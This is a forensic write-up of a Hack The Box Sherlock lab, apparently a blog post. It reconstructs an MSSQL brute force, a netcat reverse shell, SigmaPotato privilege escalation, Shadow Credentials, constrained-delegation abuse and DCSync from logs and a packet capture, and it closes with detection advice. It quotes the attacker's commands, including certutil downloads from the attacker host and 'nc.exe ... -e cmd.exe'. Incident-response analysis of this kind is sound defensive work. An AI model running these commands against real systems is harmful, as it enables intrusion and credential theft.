Foreword

Sherlock challenges on Hack The Box are investigative Blue Team scenarios designed to assess defensive security skills. They place the analyst in the aftermath of a targeted cyber attack, where the objective is to analyze provided forensic artifacts and reconstruct the attack dynamics based on the available evidence.

Sherlock Scenario | DFIR

You are an Incident Responder awakened at 02:00 AM by your pager. The SOC team has escalated a high-risk incident affecting the ShanoCorp Active Directory environment. Adversaries are suspected to have breached a neglected child domain that had been retained for testing purposes, where insecure configurations were left exposed.

Provided Artifacts

The provided artifacts are:

• DC2: a domain controller with a partial acquisition of its C: drive, including $MFT, $Extend/$J, and Windows event logs under Windows/System32/Logs.
• SqlSvr: a SQL server with a similar set of artifacts, including $MFT, $Extend/$J, and numerous .evtx files.
• Network capture: shanocorp_traffic.pcapng, used to correlate network communications with Windows events.

Setup

For this scenario, I used an ELK stack to visualize the logs. I set it up using the evtx-to-elk script.

I imported the logs into ELK using the following command:

python3 evtxtoelk.py -f Microsoft-*.evtx -k http://127.0.0.1:9200 -u elastic -p changeme -i mirros

Summary of the Attack

The 17 questions covered below are numbered sequentially for this write-up.

Question 1: When did the earliest malicious activity on the target system occur?

I first analyzed failed authentication events using Event ID 4625:

Event.System.EventID : "4625"

This query returned 10 events. Several of them were associated with the following IP address:

192.168.186.135

I then searched for all events containing this IP address. After sorting the results chronologically, the earliest event associated with this IP was observed at:

Mar 9, 2026 @ 19:26:47.664

The event was generated on SqlSvr.db-test.shanocorp.htb and was related to MSSQLSERVER. The following events also showed failed SQL authentication attempts originating from the same IP address.

However, this timestamp was not the actual beginning of the malicious activity. I therefore analyzed the provided network capture, shanocorp_traffic.pcapng, using Wireshark.

I filtered the traffic originating from the suspicious host:

ip.src == 192.168.186.135

The first packet from this host was a DNS request, immediately followed by multiple TCP SYN packets targeting many different ports on 192.168.186.139. This behavior indicates a network reconnaissance phase, specifically a port scan. The first observed packet was timestamped:

Mar 9, 2026 19:26:26.932800 UTC

Therefore, the earliest malicious activity observed on the target system occurred at:

2026-03-09 19:26:26 UTC

Answer: 2026-03-09 19:26:26

Question 2: What is the internal IP address of the compromised asset from where the attack originated to the server?

From the previous investigation, the suspicious activity consistently originated from the following internal IP address: 192.168.186.135. This IP was observed in the Windows event logs during failed authentication attempts and was also confirmed in the network capture as the source of the reconnaissance activity against the target server.

Answer: 192.168.186.135

Question 3: Which service was attacked and compromised by the attacker?

The service targeted by the attacker was Microsoft SQL Server (MSSQL).

This was identified through the Windows Application logs on SqlSvr.db-test.shanocorp.htb, where multiple MSSQL authentication failures were recorded from the compromised host 192.168.186.135.

Answer: MSSQL

Question 4: When did the attacker successfully execute the first remote command on the server?

I first observed multiple MSSQL Event ID 18456 events with the following message:

Reason: Password did not match that for the login provided.

These repeated failed authentication attempts from 192.168.186.135 indicate a brute-force attack against the MSSQL service. Shortly after these failed attempts, I observed the following command being executed on the server:

C:\Windows\system32\cmd.exe /c certutil -urlcache -split -f http://192.168.186.135:9999/nc.exe C:\Temp\nc.exe

The parent process of this command is sqlservr.exe. This indicates that the command was executed through the compromised MSSQL service. I therefore filtered the logs using: Event.EventData.Data.ParentProcessName : "*sqlservr.exe*".

This shows the sequence of commands launched by SQL Server:

cmd.exe /c dir C:\
cmd.exe /c mkdir C:\Temp
cmd.exe /c certutil ...
cmd.exe /c C:\Temp\nc.exe 192.168.186.135 4444 -e cmd.exe

The first Windows event associated with remote command execution is: C:\Windows\system32\cmd.exe /c dir C:\ at 2026-03-09 19:27:26.461. However, this timestamp corresponds to the moment when sqlservr.exe spawned cmd.exe on the server, not the moment when the attacker actually sent the remote command.

To identify when the command was launched by the attacker, I analyzed the provided PCAP and filtered the traffic between the compromised host 192.168.186.135 and the MSSQL service on TCP port 1433. TDS (Tabular Data Stream) is the application-layer protocol used by clients to connect to SQL Server. In this traffic, I identified the SQL batch containing:

exec xp_cmdshell 'dir C:\'

This is the request that triggered the first remote operating system command on the server.

The packet was sent at: 2026-03-09 19:27:24 UTC. Therefore, the attacker successfully executed the first remote command on the server at:

Answer: 2026-03-09 19:27:24

Question 5: What is the full path of the parent process that facilitated the attacker's command execution during the initial foothold?

From the previous analysis, the commands executed by the attacker were spawned by the SQL Server process. The full path of the parent process is: C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Binn\sqlservr.exe.

Answer: C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Binn\sqlservr.exe

Question 6: The attacker downloaded a binary to facilitate persistent reverse shell on the server. What is the full URL from where it was downloaded?

As identified previously, the attacker used certutil to download a Netcat binary from the attacker's machine onto the compromised server. The command executed was:

C:\Windows\system32\cmd.exe /c certutil -urlcache -split -f http://192.168.186.135:9999/nc.exe C:\Temp\nc.exe

The binary was therefore downloaded from: http://192.168.186.135:9999/nc.exe.

Answer: http://192.168.186.135:9999/nc.exe

Question 7: When was the reverse shell successfully executed, giving the attacker fully interactive access?

In the PCAP file, I identified the following command being executed through MSSQL:

EXEC xp_cmdshell 'C:\Temp\nc.exe 192.168.186.135 4444 -e cmd.exe';

This command launches Netcat and connects back to the attacker's machine on port 4444, spawning cmd.exe and providing the attacker with an interactive reverse shell. The command was observed at:

2026-03-09 19:27:59 UTC

Answer: 2026-03-09 19:27:59

Question 8: The attacker performed privilege escalation by exploiting known Windows vulnerabilities. What is the full command that was used to gain higher privileges?

While reviewing the events associated with 192.168.186.135, I observed the attacker downloading SigmaPotato.exe with the following command:

certutil -urlcache -f -split http://192.168.186.135:9999/SigmaPotato.exe

SigmaPotato is a Windows local privilege escalation tool that abuses token impersonation techniques and typically requires the SeImpersonatePrivilege privilege to be available.

The attacker then executed the privilege escalation tool with the following command:

.\SigmaPotato.exe --revshell 192.168.186.135 5555

At 19:28:35, this command launches a reverse shell back to the attacker's machine on port 5555 with elevated privileges.

Answer: .\SigmaPotato.exe --revshell 192.168.186.135 5555

Question 9: The attacker exfiltrated sensitive Operating System files from the server to the compromised Developer Test machine which is believed to be the beachhead. What is the full command that was used to establish a remote connection between both machines and stage for exfiltration?

The attacker mounted a network share hosted on the compromised Developer Test machine using the following command:

net use n: \\192.168.186.135\DevMachine /user:dev01 dev01

This command maps the remote SMB share \\192.168.186.135\DevMachine to the local drive letter N: using the credentials of the dev01 account. The activity was observed at: 2026-03-09 19:29:18 UTC.

Answer: net use n: \\192.168.186.135\DevMachine /user:dev01 dev01

Question 10: The attacker enumerated user profiles on the server, for horizontal lateral movement and expanding the compromise scope from local accounts to domain accounts. When was enumeration done?

I searched the PowerShell Script Block logs using Event ID 4104.

Among the recorded PowerShell commands, I identified the following command:

dir C:\Users

This command lists the user profile directories present on the server and therefore corresponds to the user profile enumeration activity. The command was executed at:

2026-03-09 19:30:00 UTC

I then analyzed the reverse shell traffic in the PCAP file. By following the TCP stream, I can see the command executed by the attacker. The server response is also visible and lists the available user profile directories:

Administrator
Administrator.SHANOCORP
ani.velikova
georgi.dimitrov
ivan.petrov
Public
rumen.katincharov
viktoria.dobreva

Answer: 2026-03-09 19:30:00

Question 11: The attacker performed a credential stuffing attack in order to gain access to a domain account. When did the attacker successfully compromise the first domain account?

Filtering for Event IDs 4625 and 4624, I observed several failed authentication attempts against different user accounts, followed by a successful login for the account: DB-TEST\rumen.katincharov. The successful authentication occurred at:

2026-03-09 19:31:01 UTC

This pattern is consistent with a credential stuffing attempt, where several accounts are tested at the same time.

The authentication used NTLM, so the password itself is not transmitted in clear text over the network. Only the NTLM challenge/response exchange can be observed in the traffic.

Answer: 2026-03-09 19:31:01

Question 12: The attacker used Active Directory exploitation tools, and compromised a second domain account without needing the password. Which account was this?

Looking for events after 2026-03-09T19:31:00Z and filtering on authentication-related Event IDs: Event.System.EventID : ("4768" or "4769"), I identified an Event ID 4768 at 2026-03-09 19:32:40 for the account:

DB-TEST.SHANOCORP.HTB\websvc

The event shows a successful Kerberos Ticket Granting Ticket request for websvc, originating from 192.168.186.135.

I then analyzed the PCAP file and filtered the traffic with: ip.addr == 192.168.186.135 && (ldap || kerberos).

Looking at the traffic immediately before the Kerberos authentication, I observed an LDAP session authenticated as rumen.katincharov. The attacker first searched for the websvc Active Directory object and then sent an LDAP modifyRequest targeting:

CN=websvc,CN=Users,DC=db-test,DC=shanocorp,DC=htb

The modified attribute was: msDS-KeyCredentialLink and the LDAP server returned a successful response.

The modification of msDS-KeyCredentialLink is characteristic of a Shadow Credentials attack. By adding attacker-controlled key material to the websvc account, the attacker can authenticate as this account using Kerberos without knowing its password.

The successful Event ID 4768 observed immediately afterwards confirms that the attacker was able to obtain Kerberos authentication for websvc.

Answer: DB-TEST.SHANOCORP.HTB\websvc

Question 13: The attacker abused an Active Directory misconfiguration to escalate to domain wide privileges utilizing the second compromised domain account. What is the Logon GUID associated with this escalated privileged session on the domain controller?

After compromising the websvc domain account through the Shadow Credentials technique, I looked for successful logons on the domain controller.

Filtering for successful logon events:

Event.System.EventID : "4624" and Event.System.Computer : "dc2.db-test.shanocorp.htb" and Event.EventData.Data.TargetUserName : "Administrator" and Event.EventData.Data.IpAddress : "192.168.186.135"

I identified a successful Kerberos network logon for the Administrator account at 2026-03-09 19:36:57. The event contains the following information:

TargetUserName: Administrator
TargetDomainName: db-test.shanocorp.htb
LogonType: 3
AuthenticationPackageName: Kerberos
IpAddress: 192.168.186.135
TransmittedServices: websvc@DB-TEST.SHANOCORP.HTB

The TransmittedServices field links this privileged session to the previously compromised websvc account. The associated Logon GUID is: {c95ca50a-461f-771a-5f05-918141638369}.

Answer: c95ca50a-461f-771a-5f05-918141638369

Question 14: What is the Active Directory feature that was abused to impersonate the domain admin account, and what Kerberos extension made this possible?

In the Kerberos traffic, I identified a TGS-REQ sent from 192.168.186.135 to the domain controller.

At 19:34:28, the request targets the service: HOST/dc2.db-test.shanocorp.htb and contains an additional-ticket associated with the previously compromised websvc account.

The same TGS-REQ also has the Kerberos option:

constrained-delegation: True

These elements show that the attacker is using a delegation mechanism to request a service ticket on behalf of another user.

The presence of an additional-ticket together with the constrained delegation flag is characteristic of the S4U2Proxy Kerberos extension. S4U2Proxy allows a service account to present an existing ticket and request access to another service while impersonating the user represented by that ticket.

Therefore, the abused Active Directory feature was Kerberos constrained delegation, using the S4U2Proxy Kerberos extension.

Answer: Kerberos constrained delegation, S4U2Proxy

Question 15: The attacker moved laterally to the Domain Controller using a well-known administrative tool to establish interactive SYSTEM-level access. What is the time at which this event occurred?

Filtering on Event ID 4688, I observed that C:\Windows\FyPDJNvh.exe launched cmd.exe. This behavior is typical of a PsExec-like remote execution mechanism.

Based on the traces described in the Synacktiv article Traces of Windows Remote Command Execution, I then correlated several events occurring at the same time.

First, Event ID 4624 shows a successful logon with LogonType = 3, corresponding to a network logon from the attacker's IP address.

At the same timestamp, Event ID 4672 shows that the Administrator session received special privileges.

Finally, Event ID 7045 shows the creation of a new service using the executable FyPDJNvh.exe and running as LocalSystem.

The correlation between the network logon, privileged session, remote service creation, and execution of cmd.exe indicates that the attacker established SYSTEM-level access on the domain controller using a PsExec-like technique.

Answer: 2026-03-09 19:36:57

Question 16: The attacker abused another misconfiguration to achieve domain wide compromise. When was the misconfiguration successfully abused?

After establishing remote SYSTEM-level access, the spawned cmd.exe was used to execute additional commands.

By following the parent-child process chain in Event ID 4688, I observed that the shell executed:

whoami /priv
certutil -urlcache -f -split http://192.168.186.135:9999/mimikatz.exe
.\mimikatz.exe

This shows that the attacker first verified the current privileges, then downloaded and executed Mimikatz from the attacker-controlled host. After this, I investigated Event ID 4662, which records access to Active Directory objects.

The first event contains the GUID: {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}. This GUID corresponds to the Active Directory replication right: DS-Replication-Get-Changes.

A second Event ID 4662 contains the GUID: {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}. This GUID corresponds to: DS-Replication-Get-Changes-All.

The presence of both replication rights is characteristic of a DCSync operation. These permissions allow an account to request directory replication data, including sensitive domain credential material.

The second replication right, DS-Replication-Get-Changes-All, is observed at 19:39:50, indicating that the Active Directory replication misconfiguration was successfully abused at that time.

Answer: 2026-03-09 19:39:50

Question 17: Which enumeration command did the attacker run allowing them to potentially gather information about trust relationships between the compromised domain and other domains in the network?

Filtering on Event ID 4104, I observed that the attacker executed the following PowerShell command:

Get-ADTrust -Filter *

This command is used to enumerate Active Directory trust relationships and allows the attacker to identify other trusted domains that could potentially be targeted for further lateral movement or privilege escalation.

Answer: Get-ADTrust -Filter *

Conclusion

This investigation traces an attack from the initial MSSQL compromise to privileged access on the domain controller. Correlating Windows event logs with the network capture connects the SQL commands, reverse shells, account compromise, Shadow Credentials, and Kerberos delegation activity into a single timeline. The main lesson is the value of following the same activity across host and network evidence to understand how each stage enabled the next.

The investigation also highlights several opportunities for detection:

• Review SQL Server processes spawning command shells or download utilities, especially after repeated authentication failures.
• Correlate changes to msDS-KeyCredentialLink with subsequent Kerberos authentication and privileged network logons.
• Investigate unexpected service creation on domain controllers alongside process creation and directory replication activity.